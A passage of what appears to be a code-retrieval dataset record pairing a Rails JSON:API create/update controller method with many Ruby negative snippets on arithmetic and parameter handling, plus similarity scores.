problem_six\n (1.upto(100).reduce(:+)) ** 2 - (1.upto(100).map { |n| n ** 2 }).reduce { |sum, n| sum + n }\n end", "def check_operation x, num1, num2\n case x\n when \"+\" then num1 + num2\n when \"-\" then num1 - num2\n when \"*\" then num1 * num2\n when \"/\" then num1 / num2\n when \"exp\" then num1 ** num2\n when \"sqrt\" then Math.sqrt num1\n else \"Invalid operation choosen\"\n end\nend", "def mathy(num)\n return (num*10) + 30\nend", "def test_promedio_edades\n n=5\n print validate(23.2, promedio_edades(n)) \nend", "def always_three\n \nputs \"please enter a number:\"\nnumberi= gets.to_i\nputs \"always\" + (((((numberi+5)*2)-4)/2)-numberi).to_s\n\nend", "def amicable?(num1, num2)\n\tnum1 != num2 && proper_divisors(num1).inject(:+) == num2 && proper_divisors(num2).inject(:+) == num1\nend", "def add_three(num1, num2, num3)\nreturn num1 + num2 + num3\nend", "def test_plus\r\n assert_equal 3, @interpreter.run(\"(+ 1 2)\")\r\n end", "def great_of_three(a,b,c)\n if a>b && a>c then\n print \"a is greater\"\n elsif b>a && b>c then \n print \"b is greater\"\n elsif c>a && c>b then\n print \"c is greater\"\n else\n print \"All are equal\"\n end\nend", "def dudeney_number?(numero)\r\n# hacemos paso por valor del argumento \r\ns = numero\t\r\n# convertimos integer a string para separar los digitos\r\nnewNumber = s.to_s\r\n# separamos los digitos del string\r\nnewNumber.split('')\r\n# tamanio del string \r\ntamanio = newNumber.length\r\n# si numero es iguala 1 se asigna a number\r\n\tif numero == 1\r\n\t\tnumber = 1\r\n# y si tamanio del argumento es de 3 cifras \t\t\r\n\telsif tamanio == 3\r\n# asignamos el valor por posicion\r\n\t\ta = newNumber[0]\r\n\t\tb = newNumber[1]\r\n\t\tc = newNumber[2]\r\n\t\t#convertimos de string a integer cada una de las asignaciones las sumamos y asi determinaremo el cubo perfecto\r\n\tnumber = a.to_i + b.to_i + c.to_i \r\n# si es de 4 cifras el argumento se hace lo mismo pero con 4 cifras \r\n\telsif tamanio == 4\r\n\t\ta = newNumber[0]\r\n\t\tb = newNumber[1]\r\n\t\tc = newNumber[2]\t\t\r\n\t\td = newNumber[3]\r\n\tnumber = a.to_i + b.to_i + c.to_i + d.to_i\r\n\tend\r\n# se eleva al cubo el numero base\r\n\tcubo =(number*number*number)\r\n# si cubo es igual valor del argumento regresa true diciendo que es un numero dudeney \r\n\tif cubo == numero\r\n\t\tr = true\r\n\telse\r\n\t\tr = false\r\n\tend\t\r\n# retorno\r\n\tr\r\nend", "def mathoper4argum(n, y, a, b)\n\n\tn + y - a / b\n\nend", "def add_three(num1, num2, num3)\n result = num1 + num2 + num3\n return result\nend", "def add_three(number)\n return number + 3\nend", "def add_three(number)\n return number + 3\nend", "def add_three(number)\n return number + 3\nend", "def add_three(number)\n return number + 3\nend", "def calculator(num1, num2)\n\treturn num1 + num2, num1 - num2, num1 * num2, num1 / num2\nend", "def calc(num1, mathop, num2)\n if mathop == \"+\"\n return num1 + num2\n elsif mathop == \"-\"\n return num1 - num2\n elsif mathop == \"*\"\n return num1 * num2\n elsif mathop == \"/\"\n return num1 / num2\n else\n return \"I did not recognize your input, please try again.\"\n end\nend", "def add_three num1, num2, num3\n num1 + num2 + num3\nend", "def sum_of_3_and_5_multiples(nbr)\n nbr_a = (1...nbr).to_a\n ls35 = nbr_a.select { |x| (x % 3).zero? || (x % 5).zero? }\n if nbr % 1 != 0 || nbr < 0 # conditiions pour les entiers relatifs\n return 'I said natural number only idiot!'\n elsif nbr > 1000 # pour ne pas calculer les > 1000\n return 'too high!'\n else\n return ls35.sum\n end\nend", "def multisum2(number)\n 1.upto(number).select { |num| num % 3 == 0 || num % 5 == 0 }.reduce(:+)\nend", "def multipleOfThrees(num)\n puts num/3\nend", "def calculate\n (2 + 2) * 2\nend", "def by_three?(n)\n return n % 3 == 0\nend", "def problem1(num)\n (1..num-1).select{|a| a%3 ==0 or a%5==0}.reduce(:+)\nend", "def add_three num1,num2,num3\n\tnum1 + num2 + num3\nend", "def p002rubynumbers \n\t\n\t puts 1+2\n\t puts 2*3\n\t #Integer division\n\t #When you do arithematic with integers, you'll get integer answers\n\t puts 3/2\n\t puts 10-11\n\t puts 1.5 /2.6\n\nend", "def can_be_divided_by_three_and_five(number)\n is_divisible_by_3 = number % 3\n is_divisible_by_5 = number % 5\n is_divisible_by_3 == 0 && is_divisible_by_5 == 0\nend", "def process_range(range)\n multi = multiple_of_3_and_5(range - 1)\n sum = addition(multi)\n\n puts sum\nend", "def add_three(num1,num2,num3)\n answer = num1+num2+num3\n return answer\nend", "def arithmetic2(a, b)\nend", "def add_three num1, num2, num3\n\tnum1 + num2 + num3\nend", "def sum_of_multiples_of_three_and_five(n)\r\n (1...n).to_a.select{|x| x % 3 == 0 || x % 5 == 0 }.reduce(:+)\r\nend", "def test_equality_w_arithmetic\n bc, ctx = compile '4 == 2*2'\n end", "def add_three num1, num2, num3\n\tnum1 + num2 + num3\n\nend", "def math(operator, first_num, second_num)\n if operator ==\"*\"\n first_num*second_num\n elsif operator == \"/\"\n first_num/second_num\n elsif operator == \"+\"\n first_num+second_num\n else\n first_num-second_num\n end\nend", "def test_suma\n \t\tassert_equal(@mr,(@mq+@mp)) #dispersas\n \t\tassert_equal(@c,(@a+@b)) #fraccionales\n\t\tassert_equal(@md,(@ma+@mz)) #densa\n \tend" ]
[ "0.67076355", "0.6636529", "0.6628328", "0.6593949", "0.65884554", "0.6517106", "0.64788455", "0.64438164", "0.64123833", "0.63996285", "0.6349992", "0.63472354", "0.62998694", "0.6297826", "0.6296289", "0.6267265", "0.6249575", "0.62486935", "0.6194382", "0.6192581", "0.6179727", "0.6175939", "0.61287344", "0.61268127", "0.61086684", "0.608192", "0.60627395", "0.6025992", "0.6024014", "0.6019165", "0.6013766", "0.5970782", "0.5959542", "0.594887", "0.59438217", "0.5943037", "0.5940993", "0.59384024", "0.5932031", "0.5930937", "0.59292555", "0.59278864", "0.59278864", "0.59278864", "0.59278864", "0.59222376", "0.59219337", "0.5904089", "0.59002745", "0.588528", "0.5884467", "0.5874625", "0.58639586", "0.58409053", "0.5837064", "0.5835141", "0.58332425", "0.58241063", "0.5815511", "0.5807931", "0.57956374", "0.5788222", "0.57829744", "0.57791317", "0.57775867", "0.5777207", "0.577409", "0.5770146", "0.57684267", "0.57652694", "0.5761316", "0.574992", "0.5748504", "0.57444125", "0.5731245", "0.5728964", "0.57240206", "0.57240206", "0.57240206", "0.57240206", "0.57190895", "0.57189214", "0.5718612", "0.57182866", "0.5717822", "0.5713121", "0.5712987", "0.5709502", "0.570712", "0.5704311", "0.5695783", "0.5694013", "0.5693144", "0.56929785", "0.56909096", "0.5686502", "0.5682359", "0.5682207", "0.56802356", "0.56800145", "0.56768465" ]
0.0
-1
implements Create and Update operations
def create # attributes begin attrs = jsonapi_received_attributes if attrs if @jsonapi_record # update @jsonapi_record.update! attrs else # create @jsonapi_record = jsonapi_model_class.new attrs @jsonapi_record.save! end end rescue NameError => e jsonapi_render_errors 500, "Model class not found." return rescue jsonapi_render_errors 500, @jsonapi_record.to_jsonapi_errors_hash return end # relationships jsonapi_received_relationships.each do |relationship| begin # to-one if relationship[:definition][:type] == :to_one @jsonapi_record.send :"#{relationship[:definition][:name]}=", relationship[:params][:data] next end # to-many @jsonapi_record.send(relationship[:definition][:name]).send :clear # initialize the relation relationship[:params][:data].each do |item| object = relationship[:receiver][:class].find_by_id item[:id] @jsonapi_record.send(relationship[:definition][:name]).send :<<, object end rescue # Should not happen jsonapi_render_errors 500, "Relationship could not be created." return end end show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n update\n end", "def create\n update\n end", "def update\n create\n end", "def update\n create\n end", "def create\n create_or_update\n end", "def create\n create_or_update\n end", "def create; end", "def create; end", "def create; end", "def create; end", "def update\n create\n end", "def update\n create\n end", "def create\n end", "def create\n \n end", "def create\n \n end", "def create\r\n end", "def create\r\n\r\n\r\n end", "def create\n # TODO: implement create\n end", "def save\n self.new_record ? self.create : self.update\n end", "def create \n end", "def create \n end", "def update\n create_or_update\n end", "def create\n end", "def create\n \t\n end", "def save\r\n new? ? create : update\r\n end", "def save\n create_or_update\n end", "def save\n create_or_update\n end", "def save\n create_or_update\n end", "def create\n end", "def create\n end", "def create\n end", "def save(*)\n create_or_update\n end", "def save\n new? ? create : update\n end", "def save\n new? ? create : update\n end", "def save\n new? ? create : update\n end", "def create\n \n end", "def create\n \n end", "def create\n \n end", "def create\n \n end", "def create\n \n end", "def create\n \n end", "def create\n \n end", "def create\n \n end", "def create\n raise NotImplementedError\n end", "def create\n raise NotImplementedError\n end", "def save\n if new_record?\n create\n else\n update\n end\n end", "def create\n\n\tend", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n end", "def create\n\n end", "def create\n\n end", "def create\n\n end", "def create\n\n end", "def create\n\n end", "def create\n\n end", "def create\n\n end", "def create\n\n end", "def create\n\n end", "def create\n\n end", "def create\n\n end", "def create\n\n end" ]
[ "0.7640191", "0.7566211", "0.7510254", "0.7488705", "0.7408561", "0.7408561", "0.73555595", "0.73555595", "0.73555595", "0.73555595", "0.73550385", "0.73550385", "0.71127915", "0.7100567", "0.7095558", "0.70263594", "0.69917786", "0.69866985", "0.6957609", "0.69565046", "0.69565046", "0.69354284", "0.69168943", "0.68718106", "0.6867844", "0.6858059", "0.6858059", "0.6858059", "0.6854085", "0.6854085", "0.6854085", "0.684723", "0.6809826", "0.6809826", "0.6809826", "0.6797896", "0.6797896", "0.6797896", "0.6797896", "0.6797896", "0.6797896", "0.6797896", "0.6797896", "0.67550987", "0.67550987", "0.67477274", "0.6717732", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.66958284", "0.6683162", "0.6683162", "0.6683162", "0.6683162", "0.6683162", "0.6683162", "0.6683162", "0.6683162", "0.6683162", "0.6683162", "0.6683162", "0.6683162" ]
0.0
-1
private Extracts record attributes from received params. Use this for creating/updating a database record. Note that relationships (has_one associations etc) are filtered out but are still available in the original params.
def jsonapi_received_attributes begin params.require( :data ).require( :attributes ).permit( *jsonapi_model_class.attribute_names ).reject do |key, value| # ignore automatically generated attributes %w( id created_at created_on updated_at updated_on ).include?( key.to_s ) or # ignore reference attributes key.to_s =~ /_id$/ end rescue ActionController::ParameterMissing => e nil end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def params_to_attributes(params, **extra_params)\n put = self.params[:action] == 'update'\n \n attributes = {}\n attributes.merge!(extra_params) if extra_params\n\n self.class::PARAM_TO_MODEL.each do |f, v|\n if put && !params[f]\n attributes[v] = ''\n elsif params[f]\n attributes[v] = params[f]\n end\n end\n attributes\n end", "def create_parameters\n {\n record.id_attribute => record.id\n }.tap do |params|\n custom_attrs = attribute_names.inject({}) do |memo, attr|\n value = record.send(attr)\n memo[attr.to_s] = value if value\n memo\n end\n params.merge! custom_attrs\n params[\"ownerid\"] = record.owner.roleid if record.owner\n end\n end", "def process_attributes(params, attributes)\n # Get the id of the section corresponding to :section_name\n unless params[:section_name].blank?\n section = Section.find_by_name(params[:section_name])\n unless section.blank?\n attributes[:section_id] = section.id\n end\n end\n\n parameters = [:last_name, :first_name, :type, :grace_credits, :email, :id_number, :hidden]\n parameters.each do |key|\n unless params[key].blank?\n attributes[key] = params[key]\n end\n end\n\n attributes\n end", "def record_params\n fields = resource.editable_fields.map(&:name)\n params.require(model.model_name.param_key.underscore.to_sym).permit(fields)\n end", "def trim_params(params)\n Hash[*(params.select { |k,v| new.attributes.keys.include? k.to_s}.flatten)] \n end", "def attr_params\n att = params.fetch(:attr, {}).permit(:name, :attr_type)\n att.merge({ relation_id: params.fetch(:relation_id) })\n end", "def to_params\n ::HashWithIndifferentAccess.new(attributes_hash)\n end", "def record_params\n p = permitted_params.with_indifferent_access\n p.merge!(user_id: current_user.id, application_id: current_application.id)\n p[:response_attributes] = p.delete(:response) if p.key?(:response)\n p\n end", "def attributes_from_row(params = {})\n # Try to do as much as possible automated\n params.each do |key, val|\n key = key.to_s.underscore\n if respond_to?(:\"#{key}=\")\n send(:\"#{key}=\", val)\n end\n end\n end", "def obj_params\n params.require(:data).require(:attributes)\n end", "def model_attributes(params)\n clean_params = super #hydra-editor/app/forms/hydra_editor/form.rb:54\n # model expects these as multi-value; cast them back\n clean_params[:rights] = Array(params[:rights]) if params[:rights]\n clean_params[:title] = Array(params[:title]) if params[:title]\n if params[:description]\n clean_params[:description] = Array(params[:description])\n clean_params[:description].map! do |description|\n ::DescriptionSanitizer.new.sanitize(description)\n end\n end\n # Model expects provenance as single-value.\n if params[:provenance]\n clean_params[:provenance] = ::DescriptionSanitizer.\n new.sanitize(params[:provenance])\n end\n\n # Oops; we're blanking out these values when changing permissions and probably versions, too\n # -- they don't have these fields in the form at all so they don't get repopulated.\n clean_params = encode_physical_container(params, clean_params)\n clean_params = encode_external_id(params, clean_params)\n\n clean_params.keys.each do |key|\n # strip ALL the things!\n if clean_params[key].is_a?(Array)\n clean_params[key].map!(&:strip)\n elsif clean_params[key].is_a?(String)\n clean_params[key] = clean_params[key].strip\n end\n end\n\n clean_params\n end", "def filter_params(params)\n attributes = self.class._attributes\n params.keep_if {|name, value|\n attributes.key?(name)\n }\n end", "def filter_params(params)\n attributes = self.class._attributes\n params.keep_if {|name, value|\n attributes.key?(name)\n }\n end", "def attribute_and_parameter_values\n attribute_value_pairs = attributes.inject({}) do |h, attr| \n # Attributes may be not synced with db so updating them with attr.update_attribute_value!\n h.merge(attr.display_name => attr.update_attribute_value!)\n end\n params.merge(attribute_value_pairs)\n end", "def attributes\n attributes = move_params.fetch(:attributes, {})\n\n # TODO: to be removed once move profile migration complete\n if person_attributes.present? && profile_attributes.nil?\n person = Person.find_by(id: person_attributes.dig(:data, :id))\n attributes[:profile] = person&.latest_profile\n end\n\n attributes[:profile] = Profile.find_by(id: profile_attributes.dig(:data, :id)) if profile_attributes.present?\n\n profile = attributes[:profile] || move.profile\n profile.documents = Document.where(id: document_ids) unless document_attributes.nil?\n\n attributes\n end", "def attributes_for_saving_with_person attributes\n attributes = attributes_for_saving_without_person(attributes)\n\n attributes.delete(:company)\n attributes.delete(:deals)\n attributes.delete(:won_deals_total)\n attributes.delete(:lead_status)\n attributes.delete(:viewed_at)\n attributes.delete(:deal_ids)\n attributes.delete(:predefined_contacts_tag_ids)\n attributes.delete(:user_id)\n attributes.delete(:user)\n\n attributes.delete(:image_thumb_url) if attributes[:image_thumb_url] == \"/images/thumb/missing.png\"\n\n attributes\n end", "def assign_attributes_with_params params\n\t\t\t\t# Description\n\t\t\t\t# if params.has_key? :description\n\t\t\t\t# params[:description] = ApplicationHelper.encode_plain_text params[:description]\n\t\t\t\t# end\n\n\t\t\t\t# Get price\n\t\t\t\tif params.has_key? :sell_price\n\t\t\t\t\tparams[:sell_price] = ApplicationHelper.format_i params[:sell_price]\n\t\t\t\t\tparams[:sell_price_text] = ApplicationHelper.read_money params[:sell_price]\n\t\t\t\tend\n\t\t\t\tif params.has_key? :rent_price\n\t\t\t\t\tparams[:rent_price] = ApplicationHelper.format_i(params[:rent_price])\n\t\t\t\t\tparams[:rent_price_text] = ApplicationHelper.read_money params[:rent_price]\n\t\t\t\tend\n\n\t\t\t\t# Alley width\n\t\t\t\tparams[:alley_width] = ApplicationHelper.format_f params[:alley_width] if params.has_key? :alley_width\n\n\t\t\t\t# Area\n\t\t\t\tparams[:constructional_area] = ApplicationHelper.format_f params[:constructional_area] if params.has_key? :constructional_area\n\t\t\t\tparams[:using_area] = ApplicationHelper.format_f params[:using_area] if params.has_key? :using_area\n\t\t\t\tparams[:campus_area] = ApplicationHelper.format_f params[:campus_area] if params.has_key? :campus_area\n\t\t\t\tparams[:garden_area] = ApplicationHelper.format_f params[:garden_area] if params.has_key? :garden_area\n\t\t\t\tparams[:width_x] = ApplicationHelper.format_f params[:width_x] if params.has_key? :width_x\n\t\t\t\tparams[:width_y] = ApplicationHelper.format_f params[:width_y] if params.has_key? :width_y\n\n\t\t\t\t# Location\n\t\t\t\tif params[:province].present?\n\t\t\t\t\tif params[:province] == 'Hồ Chí Minh'\n\t\t\t\t\t\tparams[:province] = 'Tp. Hồ Chí Minh'\n\t\t\t\t\tend\n\t\t\t\t\tprovince = Province.find_or_create_by name: params[:province]\n\t\t\t\t\tparams[:province_id] = province.id\n\t\t\t\tend\n\t\t\t\tif params[:district].present? && params[:province_id].present?\n\t\t\t\t\tdistrict = District.find_or_create_by name: params[:district], province_id: params[:province_id]\n\t\t\t\t\tparams[:district_id] = district.id\n\t\t\t\tend\n\t\t\t\tif params[:ward].present? && params[:district_id].present?\n\t\t\t\t\tward = Ward.find_or_create_by name: params[:ward], district_id: params[:district_id]\n\t\t\t\t\tparams[:ward_id] = ward.id\n\t\t\t\tend\n\t\t\t\tif params[:street].present? && params[:district_id].present?\n\t\t\t\t\tstreet = Street.find_or_create_by name: params[:street], district_id: params[:district_id]\n\t\t\t\t\tparams[:street_id] = street.id\n\t\t\t\tend\n\n\t\t\t\t# Advantages, disavantage, property utility, region utility\n\t\t\t\tparams[:advantage_ids] = [] unless params.has_key? :advantage_ids\n\t\t\t\tparams[:disadvantage_ids] = [] unless params.has_key? :disadvantage_ids\n\t\t\t\tparams[:property_utility_ids] = [] unless params.has_key? :property_utility_ids\n\t\t\t\tparams[:region_utility_ids] = [] unless params.has_key? :region_utility_ids\n\n\t\t\t\t# Images\n\t\t\t\t_images = []\n\t\t\t\t_has_avatar = false\n\t\t\t\tif params[:images].present?\n\t\t\t\t\tparams[:images].each do |_v|\n\t\t\t\t\t\t_value = JSON.parse _v\n\t\t\t\t\t\t_value['is_avatar'] ||= false\n\n\t\t\t\t\t\tif _value['is_new']\n\t\t\t\t\t\t\tTemporaryFile.get_file(_value['id']) do |_image|\n\t\t\t\t\t\t\t\t_images << RealEstateImage.new(image: _image, is_avatar: _value['is_avatar'], order: _value['order'], description: _value['description'])\n\n\t\t\t\t\t\t\t\t_has_avatar = true if _value['is_avatar']\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t_image = RealEstateImage.find _value['id']\n\t\t\t\t\t\t\t_image.description = _value['description']\n\t\t\t\t\t\t\t_image.is_avatar = _value['is_avatar']\n\t\t\t\t\t\t\t_image.order = _value['order'] \n\n\t\t\t\t\t\t\t_has_avatar = true if _value['is_avatar']\n\n\t\t\t\t\t\t\t_images << _image\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif !_has_avatar && _images.length != 0\n\t\t\t\t\t_images[0].assign_attributes is_avatar: true\n\t\t\t\tend\n\t\t\t\tassign_attributes images: _images\n\n\t\t\t\tassign_attributes params.permit [\n\t\t\t\t\t:is_full, :is_draft,\n\t\t\t\t\t:title, :description, :purpose_id, :sell_price, :sell_price_text, :rent_price, :rent_price_text, \n\t\t\t\t\t:currency_id, :sell_unit_id, :rent_unit_id, :is_negotiable, :province_id, :district_id, :ward_id, :street_id, \n\t\t\t\t\t:address_number, :street_type, :is_alley, :real_estate_type_id, :building_name,\n\t\t\t\t\t:legal_record_type_id, :planning_status_type_id, :custom_advantages, :custom_disadvantages,\n\t\t\t\t\t:alley_width, :shape_width, :custom_legal_record_type, :custom_planning_status_type, :is_draft,\n\t\t\t\t\t:lat, :lng, :user_type, :user_id, :appraisal_purpose, :appraisal_type, :campus_area, :using_area, :constructional_area, :garden_area,\n\t\t\t\t\t:shape, :shape_width, :bedroom_number, :build_year, :constructional_level_id, :restroom_number,\n\t\t\t\t\t:width_x, :width_y, :floor_number, :constructional_quality, :direction_id, :block_id,\n\t\t\t\t\tadvantage_ids: [], disadvantage_ids: [], property_utility_ids: [], region_utility_ids: []\n\t\t\t\t]\n\t\t\tend", "def record_params\n # set the cas user and initialize the record as not being flagged for removal\n params[:record][:cas_user_name] = session[:cas_user]\n params[:record][:flagged_for_removal] = false\n\n # set the cas username for each record attachment \n if params[:record][:record_attachments_attributes]\n params[:record][:record_attachments_attributes].each do |p|\n p[:cas_user_name] = session[:cas_user]\n end\n end\n\n params.require(:record).permit(\n :cas_user_name, :make_private, :title,\n :description, :date, :location, :hashtag,\n :release_checked, :flagged_for_removal,\n\n record_attachments_attributes: [\n :record_id, :cas_user_name, :filename, :mimetype,\n :file_upload_url, :medium_image_url, :annotation_thumb_url,\n :square_thumb_url\n ]\n )\n end", "def sanitize_params\n if valid_lease?\n sanitize_lease_params\n elsif valid_embargo?\n sanitize_embargo_params\n elsif !wants_lease? && !wants_embargo?\n sanitize_unrestricted_params\n else\n @attributes\n end\n end", "def remap_attributes!\n (upper(:@@remaped_params) || []).each do |remaped|\n @params[remaped[:to]] = @raw_params[remaped[:key].to_s] if @raw_params.key?(remaped[:key].to_s) && @params[remaped[:to]].blank?\n end\n end", "def attributes\n {\n study:,\n study_file:,\n user:,\n action:,\n reparse:,\n persist_on_fail:,\n params_object: params_object&.attributes\n }\n end", "def manage_assign_attributes_with_params _params\n\t\t\tassign_attributes _params.permit([:status, :note])\n\t\tend", "def attributes\n @params\n end", "def params_for(record)\n return {} unless record\n\n keys.each_with_object({}) do |key, h|\n h[\"ks_prev_#{key}\".to_sym] = record.attributes[key.to_s]\n end\n end", "def arbitrary_record_params\n params.require(:arbitrary_record).permit(:name)\n end", "def assign_attributes_with_params _params\n\t\t\tassign_attributes _params.permit([:request_type, :object_type, :object_id, :message])\n\t\tend", "def attributes_from_row(params = {})\n # Try to do as much as possible automated\n params.each do |key, val|\n key = key.to_s.underscore\n if respond_to?(:\"#{key}=\")\n send(:\"#{key}=\", val)\n end\n end\n send(:id=, params['allianceID'])\n end", "def attributes=(params)\n end", "def attributes_from_row(params = {})\n # Try to do as much as possible automated\n params.each do |key, val|\n key = key.to_s.underscore\n if respond_to?(:\"#{key}=\")\n send(:\"#{key}=\", val)\n end\n end\n send(:id=, params['notificationID'])\n end", "def activity_record_params\n params.fetch(:activity_record, {}).permit(:Date, :duration, :comment, :activity_id)\n end", "def weather_record_params\n params.fetch(:weather_record, {})\n end", "def filter_attributes(attrs)\n attributes = attrs.each_with_object({}) do |name, inst|\n next unless validates?(name)\n inst[name] = get_field(name)\n end\n\n optional_fields = _optional\n if optional_fields.present?\n optional_fields.each do |field|\n next unless validates?(field)\n attributes[field] = get_field(field)\n end\n end\n\n associated_fields = _associations\n if associated_fields.present?\n associated_fields.each do |assoc|\n next unless validates?(assoc)\n attributes[assoc] = get_association(assoc)\n end\n end\n\n attributes\n end", "def before_update_save(record)\n @record.attributes = params[:record]\n end", "def before_update_save(record)\n @record.attributes = params[:record]\n end", "def get_attributes(row, given_attrs)\n given_attrs.collect do |x|\n row[x] = serialized_attributes[x].dump(row[x]) if @serialized_attributes_keys.include? x\n row[x]\n end\n end", "def record_params\n params.require(:record).permit(:name, :info, :year, :performer_id)\n end", "def parse_attributes!\n self.attributes = (attributes || []).map do |key_value|\n name, type, index, default = key_value.split(/:/)\n opts = {}\n if default\n opts[:default] = default\n end\n if index\n index_type, constraint = index.split(/,/)\n if constraint == 'not_null'\n opts[:null] = false\n end\n end\n create_attribute(name, type, index_type, opts)\n end\n end", "def property_attributes_for_params(name=nil)\n name = [name].flatten\n case name.size\n when 1 then params[name[0]]\n when 2 then params[name[0]][name[1]]\n when 3 then params[name[0]][name[1]][name[2]]\n else\n raise \"Can't read attributes\"\n end\n end", "def serializable_attributes\n #attribute_names = @record.attributes.keys # This includes all attributes including associations\n attribute_names = @record.class.keys.keys # This includes just keys\n idex = attribute_names.index(\"_id\")\n attribute_names[idex] = \"id\" if idex\n\n if options[:only]\n options.delete(:except)\n attribute_names = attribute_names & Array(options[:only]).collect { |n| n.to_s }\n else\n options[:except] = Array(options[:except]) \n attribute_names = attribute_names - options[:except].collect { |n| n.to_s }\n end\n\n attribute_names.collect { |name| Attribute.new(name, @record) }\n end", "def record_params\n params.require(:record).permit(:user_id, :approver_id, :status, :begin_at, :end_at, :address, :tel, :cause, :agent, :agent_office, :agent_office_tel, :agent_mobile, :back_at, :unit_opinion, :leader_opinion, :remark, :back_lat, :back_lon, :travel)\n end", "def process_params(_resource)\n args = account_update_params\n\n # Convert the selected/specified Org name into attributes\n op = autocomplete_to_controller_params\n args[:org_id] = op[:org_id] if op[:org_id].present?\n args[:org_attributes] = op[:org_attributes] if op[:org_id].blank?\n args.delete(:org_attributes) if args[:org_attributes].blank?\n args\n end", "def save_all_fields_from_record(record)\n self.save_base_attributes(record)\n self.changed_keys = record.attributes.keys\n self.old_values ||= Hash.new\n self.new_values ||= Hash.new\n record.attributes.keys.each do |key|\n self.old_values[key] = record.attributes[key]\n self.new_values[key] = nil\n end\n self.filter_attributes(record)\n end", "def assing_attributes_to_params\n params[:profile][:pets] = params[:profile][:pets].split(\", \") if params[:profile][:pets]\n params[:profile][:fetish] = params[:profile][:fetish].split(\", \") if params[:profile][:fetish]\n params[:profile][:favorite_sports] = params[:profile][:favorite_sports].split(\", \") if params[:profile][:favorite_sports]\n params[:profile][:favorite_clubs] = params[:profile][:favorite_clubs].split(\", \") if params[:profile][:favorite_clubs]\n params[:profile][:sexual_activity] = params[:profile][:sexual_activity].split(\", \") if params[:profile][:sexual_activity]\n params[:profile][:favorite_food] = params[:profile][:favorite_food].split(\", \") if params[:profile][:favorite_food]\n # params[:profile][:languages_spoken] = params[:profile][:languages_spoken].split(\", \") if params[:profile][:languages_spoken]\n params[:profile][:favorite_music] = params[:profile][:favorite_music].split(\", \") if params[:profile][:favorite_music]\n # params[:profile][:favorite_movies] = params[:profile][:favorite_movies].split(\", \") if params[:profile][:favorite_movies]\n params[:profile][:favorite_activity] = params[:profile][:favorite_activity].split(\", \") if params[:profile][:favorite_activity]\n params[:profile][:interests] = params[:profile][:interests].split(\", \") if params[:profile][:interests]\n end", "def update_params\n params = UPDATE_ATTRS[upcase_class_sym].map { |attr| [attr, send(attr)] }.to_h\n params.delete_if { |_key, value| value.nil? }\n end", "def update(params)\n self.attributes = params\n end", "def attrs\n if options[:permit]\n controller.params.require(model_name).permit(*call(:permit))\n else\n params_method = \"#{name}_params\"\n if controller.respond_to?(params_method, true)\n controller.send(params_method)\n else\n {}\n end\n end\n end", "def convert_attributes_param_to_safe_hash(attr, param)\n # Get an unsafe hash of the param\n unsafe_hash = param.to_unsafe_h\n\n # The hash of permitted attributes\n safe_hash = {}\n\n # Assume that each key ends with \"attributes\" and corresponds with\n # attributes in the whitelist (addresses_attributes,\n # phone_numbers_attributes, etc.)\n unsafe_hash.each do |(key, value)|\n # Assign the value to a hash using the attribute as a key, instead of\n # index number (\"0\", \"1\", etc.)\n temp_hash = { attr => value }\n # Create a new Parameters object\n temp_param = ActionController::Parameters.new(temp_hash)\n # Pass the Parameters object through the whitelist and get the hash\n temp_param_hash = temp_param.permit(whitelisted_attrs).to_hash\n # Merge into safe_hash result, using the original numeric key as the\n # hash key\n safe_hash.merge!(key => temp_param_hash[attr])\n end\n safe_hash\n end", "def extract_permitted_attributes(attributes, *keys)\n permitted_attributes = attributes.slice(*keys)\n permitted_attributes.permit! if permitted_attributes.respond_to?(:permit!)\n permitted_attributes\n end", "def model_params\n request.params[model.params_name]\n end", "def process_attributes(attributes = nil)\n return attributes if attributes.blank?\n multi_parameter_attributes = {}\n new_attributes = {}\n attributes.each_pair do |key, value|\n if key.match(DATE_KEY_REGEX)\n match = key.to_s.match(DATE_KEY_REGEX)\n found_key = match[1]\n index = match[2].to_i\n (multi_parameter_attributes[found_key] ||= {})[index] = value.empty? ? nil : value.send(\"to_#{$3}\")\n else\n new_attributes[key] = value\n end\n end\n\n multi_parameter_attributes.empty? ? new_attributes : process_multiparameter_attributes(multi_parameter_attributes, new_attributes)\n end", "def parse_params(params)\n # Handle passing of weather objects as parameters for other api queries\n objects = [:dataset, :datatype, :location, :station, :datacategory, :locationcategory]\n objects.each do |object|\n params[(object.to_s + \"id\").to_sym] = params.delete(object).id if params.has_key?(object)\n end\n\n # Handle Date, DateTime, or Time parameters\n # Convert to formatted string the api is expecting\n dates = [:startdate, :enddate]\n dates.each do |date|\n params[date] = params[date].iso8601 if params[date].respond_to?(:iso8601)\n end\n\n # Prep for handling requests for over the 1k NOAA limit\n params[:limit] = 1000 unless params[:limit] && params[:limit] < 1000\n\n #return modified params\n params\n end", "def update_attributes(_params)\n assign_attributes _params\n save\n end", "def member_params\n #ap = activity_params\n\n [:id, :member_id].each_with_object(params) do |key, obj|\n obj.require(key)\n end\n end", "def original_attributes\n @record.attributes.symbolize_keys.select do |(attr, _)|\n !%i(created_at updated_at).include?(attr)\n end\n end", "def _extract_attributes(attributes)\n return nil unless attributes.is_a?(Hash)\n\n _attributes = 